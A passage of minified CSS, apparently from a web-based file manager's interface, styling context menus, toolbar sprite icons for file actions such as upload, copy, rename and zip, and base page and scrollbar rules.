opacity:0.4;}}.playmusic-icon{display:none;}.context-menu-list{margin:0;margin-left:4px;min-width:190px;max-width:300px;font-size:1em;display:inline-block;position:absolute;list-style-type:none;padding:8px 0px;border:none;border:1px solid #ccc \9;border-radius:4px;background:#fff;-webkit-box-shadow:0 10px 80px rgba(0,0,0,0.4);-moz-box-shadow:0 10px 80px rgba(0,0,0,0.4);box-shadow:0 10px 80px rgba(0,0,0,0.4);}.context-menu-list span b{display:inline-block;font-size:1em;font-weight:200;color:#aaa;padding-left:10px;min-width:50px;text-align:right;overflow:hidden;position:absolute;right:10px;width:65px;}.context-menu-list .hover>span>b{color:#fff;}.context-menu-list.menu-auto-fit{top:5px !important;}.context-menu-list li.selected{border-left:none !important;background:none;}.context-menu-list li.selected i.font-icon{color:#aaa;font-family:FontAwesome;font-weight:normal;font-style:normal;}.context-menu-list li.selected i.font-icon:before{content:"\f00c" !important;}.context-menu-list .context-menu-submenu:after{content:"\f0da";font-family:FontAwesome;display:inline-block;float:right;margin-right:0px;right:10px;position:absolute;}.context-menu-list .context-menu-item{display:block;cursor:pointer;white-space:nowrap;clear:both;line-height:25px;height:23px;position:relative;border:none;padding:0px 15px 0 20px;color:#222;-webkit-transition:background-color .1s;-moz-transition:background-color .1s;-o-transition:background-color .1s;-ms-transition:background-color .1s;transition:background-color .1s;}.context-menu-list .context-menu-item .font-icon{display:inline-block;width:16px;text-align:center;font-size:1.2em;color:#aaa;margin-right:10px;vertical-align:middle;margin-top:-2px;padding:0;}.context-menu-list .context-menu-item.disabled,.context-menu-list .context-menu-item.disable{cursor:not-allowed;pointer-events:auto;color:#ccc;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{color:#ddd;}.context-menu-list .context-menu-item.disabled.hover,.context-menu-list .context-menu-item.disable.hover{color:#ccc;cursor:default;background-color:#fff;}.context-menu-list .context-menu-item.disabled.hover .font-icon,.context-menu-list .context-menu-item.disable.hover .font-icon{color:#ddd;}.context-menu-list .context-menu-item.hover{cursor:pointer;color:#fff;background:#63acff;background-color:none \9;}.context-menu-list .context-menu-item.hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item span i{float:right;text-align:right;font-style:normal;color:#888;}.context-menu-list .context-menu-item.context-menu-separator{height:2px;line-height:0;border-bottom:1px solid #eee;margin:2px 0 4px;}.context-menu-list .context-menu-item > .context-menu-list{display:none;right:-5px;top:5px;}.context-menu-list .context-menu-item.hover > .context-menu-list{display:block;}.context-menu-list .context-menu-item.hover > .context-menu-list .font-icon{color:#aaa;}.context-menu-list .context-menu-item.hover > .context-menu-list .hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item .context-menu-accesskey{text-decoration:underline;}.context-menu-list .context-menu-item .line-top{border-top:1px solid #ddd !important;}.font-icon.icon-home,.x-tree-self{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -496px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;margin-right:0px;filter:none;-ms-filter:none;}.font-icon.icon-home:before,.x-tree-self:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.font-icon.icon-home, .x-tree-self{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.font-icon.icon-circle-arrow-up{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -496px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;margin-right:0px;}.font-icon.icon-circle-arrow-up:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.font-icon.icon-circle-arrow-up{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.x-tree-fav.small{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -773px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;margin-right:0px;}.x-tree-fav.small:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.x-tree-fav.small{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.frame-right #search .font-icon.icon-search{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -736px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;margin-right:0px;margin-top:4px;}.frame-right #search .font-icon.icon-search:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.frame-right #search .font-icon.icon-search{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.context-menu-list .font-icon:before{color:#249dff;background-image:-webkit-linear-gradient(2deg,#249dff,#08558a);background-clip:text;text-fill-color:transparent;-webkit-text-fill-color:transparent;-webkit-background-clip:text;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{opacity:0.3;filter:alpha(opacity=30);}.context-menu-list .context-menu-item.search .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 0px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;}.context-menu-list .context-menu-item.search .font-icon:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.context-menu-list .context-menu-item.search .font-icon{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.context-menu-list .context-menu-item.open .font-icon,.context-menu-list .context-menu-item.open-the-path .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -16px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;}.context-menu-list .context-menu-item.open .font-icon:before,.context-menu-list .context-menu-item.open-the-path .font-icon:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.context-menu-list .context-menu-item.open .font-icon, .context-menu-list .context-menu-item.open-the-path .font-icon{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.context-menu-list .context-menu-item.upload .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -48px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;}.context-menu-list .context-menu-item.upload .font-icon:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.context-menu-list .context-menu-item.upload .font-icon{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.context-menu-list .context-menu-item.down .font-icon,.context-menu-list .context-menu-item.download .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -48px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;}.context-menu-list .context-menu-item.down .font-icon:before,.context-menu-list .context-menu-item.download .font-icon:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.context-menu-list .context-menu-item.down .font-icon, .context-menu-list .context-menu-item.download .font-icon{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.context-menu-list .context-menu-item.cute .font-icon,.context-menu-list .context-menu-item.cute-to .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -80px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;}.context-menu-list .context-menu-item.cute .font-icon:before,.context-menu-list .context-menu-item.cute-to .font-icon:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.context-menu-list .context-menu-item.cute .font-icon, .context-menu-list .context-menu-item.cute-to .font-icon{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.context-menu-list .context-menu-item.copy .font-icon,.context-menu-list .context-menu-item.copy-to .font-icon,.context-menu-list .context-menu-item.copy-see .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -96px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;}.context-menu-list .context-menu-item.copy .font-icon:before,.context-menu-list .context-menu-item.copy-to .font-icon:before,.context-menu-list .context-menu-item.copy-see .font-icon:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.context-menu-list .context-menu-item.copy .font-icon, .context-menu-list .context-menu-item.copy-to .font-icon, .context-menu-list .context-menu-item.copy-see .font-icon{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.context-menu-list .context-menu-item.newfolder .icon-folder-close-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -16px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;}.context-menu-list .context-menu-item.newfolder .icon-folder-close-alt:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.context-menu-list .context-menu-item.newfolder .icon-folder-close-alt{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.context-menu-list .context-menu-item.newfile .icon-expand-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;}.context-menu-list .context-menu-item.newfile .icon-expand-alt:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.context-menu-list .context-menu-item.newfile .icon-expand-alt{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.context-menu-list .context-menu-item.rname .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -64px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;}.context-menu-list .context-menu-item.rname .font-icon:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.context-menu-list .context-menu-item.rname .font-icon{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.context-menu-list .context-menu-item.past .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -64px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;}.context-menu-list .context-menu-item.past .font-icon:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.context-menu-list .context-menu-item.past .font-icon{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.context-menu-list .context-menu-item.remove .font-icon,.context-menu-list .context-menu-item.fav-remove .font-icon,.context-menu-list .context-menu-item .close .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -80px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;}.context-menu-list .context-menu-item.remove .font-icon:before,.context-menu-list .context-menu-item.fav-remove .font-icon:before,.context-menu-list .context-menu-item .close .font-icon:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.context-menu-list .context-menu-item.remove .font-icon, .context-menu-list .context-menu-item.fav-remove .font-icon, .context-menu-list .context-menu-item .close .font-icon{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.context-menu-list .context-menu-item.zip .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;}.context-menu-list .context-menu-item.zip .font-icon:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.context-menu-list .context-menu-item.zip .font-icon{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.context-menu-list .context-menu-item.unzip .icon-folder-open-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;}.context-menu-list .context-menu-item.unzip .icon-folder-open-alt:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.context-menu-list .context-menu-item.unzip .icon-folder-open-alt{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.context-menu-list .context-menu-item.share .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-15px -703px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;}.context-menu-list .context-menu-item.share .font-icon:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.context-menu-list .context-menu-item.share .font-icon{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.context-menu-list .context-menu-item.open-text .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:1px -702px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;}.context-menu-list .context-menu-item.open-text .font-icon:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.context-menu-list .context-menu-item.open-text .font-icon{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.context-menu-list .context-menu-item.setBackground .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -609px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;}.context-menu-list .context-menu-item.setBackground .font-icon:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.context-menu-list .context-menu-item.setBackground .font-icon{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.context-menu-list .context-menu-item.fav .font-icon,.context-menu-list .context-menu-item.fav-page .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -773px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;}.context-menu-list .context-menu-item.fav .font-icon:before,.context-menu-list .context-menu-item.fav-page .font-icon:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.context-menu-list .context-menu-item.fav .font-icon, .context-menu-list .context-menu-item.fav-page .font-icon{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.context-menu-list .context-menu-item .icon-refresh{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -513px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;}.context-menu-list .context-menu-item .icon-refresh:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.context-menu-list .context-menu-item .icon-refresh{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.context-menu-list .context-menu-item.set-file-icon-size .font-icon.icon-picture,.context-menu-list .context-menu-item.setting-wall .font-icon.icon-picture{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0px -577px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;}.context-menu-list .context-menu-item.set-file-icon-size .font-icon.icon-picture:before,.context-menu-list .context-menu-item.setting-wall .font-icon.icon-picture:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.context-menu-list .context-menu-item.set-file-icon-size .font-icon.icon-picture, .context-menu-list .context-menu-item.setting-wall .font-icon.icon-picture{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.context-menu-list .context-menu-item.sort-by .font-icon.icon-sort{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -528px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;}.context-menu-list .context-menu-item.sort-by .font-icon.icon-sort:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.context-menu-list .context-menu-item.sort-by .font-icon.icon-sort{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.context-menu-list .context-menu-item.list-icon .font-icon.icon-eye-open{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:1px -625px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;}.context-menu-list .context-menu-item.list-icon .font-icon.icon-eye-open:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.context-menu-list .context-menu-item.list-icon .font-icon.icon-eye-open{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.context-menu-list .context-menu-item.file-select-all > .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0px -545px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;}.context-menu-list .context-menu-item.file-select-all > .font-icon:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.context-menu-list .context-menu-item.file-select-all > .font-icon{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.context-menu-list .context-menu-item.file-select-clear > .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -546px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;}.context-menu-list .context-menu-item.file-select-clear > .font-icon:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.context-menu-list .context-menu-item.file-select-clear > .font-icon{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.context-menu-list .context-menu-item.file-select-reverse > .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -593px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;}.context-menu-list .context-menu-item.file-select-reverse > .font-icon:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.context-menu-list .context-menu-item.file-select-reverse > .font-icon{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.context-menu-list .context-menu-item .font-icon.icon-code-fork{display:inline-block;background-image:url("../../../images/file_icon/icon_app/history.png");width:16px !important;background-repeat:no-repeat;background-size:100% 100%;}.context-menu-list .context-menu-item .font-icon.icon-code-fork:before{content:"" !important;}.context-menu-list .context-menu-item .font-icon.icon-info{color:#fff !important;background:#c4e5ff;text-align:center;border-radius:50%;line-height:16px;box-shadow:0 0 0 1px #6db9f5;}.frame-main .frame-right .frame-right-main .tools .icon-folder-close-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -16px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;width:9px !important;margin-right:5px !important;padding-right:5px;}.frame-main .frame-right .frame-right-main .tools .icon-folder-close-alt:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.frame-main .frame-right .frame-right-main .tools .icon-folder-close-alt{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.frame-main .frame-right .frame-right-main .tools .icon-cloud-upload{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -48px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;width:9px !important;margin-right:5px !important;}.frame-main .frame-right .frame-right-main .tools .icon-cloud-upload:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.frame-main .frame-right .frame-right-main .tools .icon-cloud-upload{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.frame-main .frame-right .frame-right-main .tools .icon-download{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -48px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;width:9px !important;margin-right:5px !important;}.frame-main .frame-right .frame-right-main .tools .icon-download:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.frame-main .frame-right .frame-right-main .tools .icon-download{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.frame-main .frame-right .frame-right-main .tools .icon-share{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-15px -703px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;width:9px !important;margin-right:5px !important;}.frame-main .frame-right .frame-right-main .tools .icon-share:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.frame-main .frame-right .frame-right-main .tools .icon-share{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.frame-main .frame-right .frame-right-main .tools .icon-copy{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -96px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;width:9px !important;margin-right:5px !important;}.frame-main .frame-right .frame-right-main .tools .icon-copy:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.frame-main .frame-right .frame-right-main .tools .icon-copy{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.frame-main .frame-right .frame-right-main .tools .icon-cute{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -80px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;width:9px !important;margin-right:5px !important;}.frame-main .frame-right .frame-right-main .tools .icon-cute:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.frame-main .frame-right .frame-right-main .tools .icon-cute{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.frame-main .frame-right .frame-right-main .tools .icon-remove{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -80px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;width:9px !important;margin-right:5px !important;}.frame-main .frame-right .frame-right-main .tools .icon-remove:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.frame-main .frame-right .frame-right-main .tools .icon-remove{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.frame-main .frame-right .frame-right-main .tools .icon-rename{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -64px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;width:9px !important;margin-right:5px !important;}.frame-main .frame-right .frame-right-main .tools .icon-rename:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.frame-main .frame-right .frame-right-main .tools .icon-rename{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.frame-main .frame-right .frame-right-main .tools .icon-refresh{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -513px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;margin-right:0px;}.frame-main .frame-right .frame-right-main .tools .icon-refresh:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.frame-main .frame-right .frame-right-main .tools .icon-refresh{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.frame-main .frame-right .frame-right-main .tools .icon-th{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -561px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;width:12px !important;margin-right:1px !important;margin-left:1px !important;}.frame-main .frame-right .frame-right-main .tools .icon-th:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.frame-main .frame-right .frame-right-main .tools .icon-th{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.frame-main .frame-right .frame-right-main .tools .icon-list{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -624px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;width:12px !important;margin-right:1px !important;margin-left:1px !important;}.frame-main .frame-right .frame-right-main .tools .icon-list:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.frame-main .frame-right .frame-right-main .tools .icon-list{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.frame-main .frame-right .frame-right-main .tools .icon-columns{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -609px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;width:12px !important;margin-right:1px !important;margin-left:1px !important;}.frame-main .frame-right .frame-right-main .tools .icon-columns:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.frame-main .frame-right .frame-right-main .tools .icon-columns{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}.frame-main .frame-right .frame-right-main .tools .icon-dashboard{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0px -720px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:10px;width:12px !important;margin-right:1px !important;margin-left:1px !important;}.frame-main .frame-right .frame-right-main .tools .icon-dashboard:before{content:"" !important;}@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-resolution:2dppx),only screen and (min-resolution:192dpi){.frame-main .frame-right .frame-right-main .tools .icon-dashboard{ background-image:url("../../../images/common/menu_icon@2x.png");background-size:32px auto !important;}}body{font-size:12px;padding:0px;margin:0px;font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}textarea,input,button,pre,p,.can-select{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}blockquote{padding:10px 20px;margin:0 0 20px 1em;border-left:10px solid #eee;background:#f6f6f6;}blockquote p{font-size:1em;margin:0px;}a{text-decoration:none;}a:focus{outline:none !important;}h1,h2,h3,h4,h5,.h1,.h2,.h3,.h4,.h5{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;}*,*:before,*:after{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;}label{font-weight:normal;}pre{border:none;border-radius:0;}::-webkit-scrollbar-track-piece{background-color:rgba(180,180,180,0.06);border-radius:3px;}::-webkit-scrollbar{width:10px;height:10px;}::-webkit-scrollbar-thumb{background-color:rgba(180,180,180,0.2);border-radius:12px;background-clip:padding-box;border:1px solid rgba(180,180,180,0.4);min-height:28px;}::-webkit-scrollbar-thumb:hover{background-color:rgba(180,180,180,0.4);border:1px solid rgba(180,180,180,0.7);}.can-select,.can-select *:not(input):not(textarea){-khtml-user-select:text !important;-webkit-user-select:text !important;-moz-user-select:text !important;-ms-user-select:text !important;-o-user-select:text !important;user-select:text !important;}.can-not-select,.can-not-select *:not(input):not(textarea){-khtml-user-select:none !important;-webkit-user-select:none !important;-moz-user-select:none !important;-ms-user-select:none !important;-o-user-select:none !important;user-select:none !important;}.fl{float:left;}.fl-left{float:left;}.fl-right{float:right;}.disable,.disabled{cursor:not-allowed;pointer-events:none;}.clear{clear:both;}.hidden{display:none;}.border-radius-none{border-radius:0 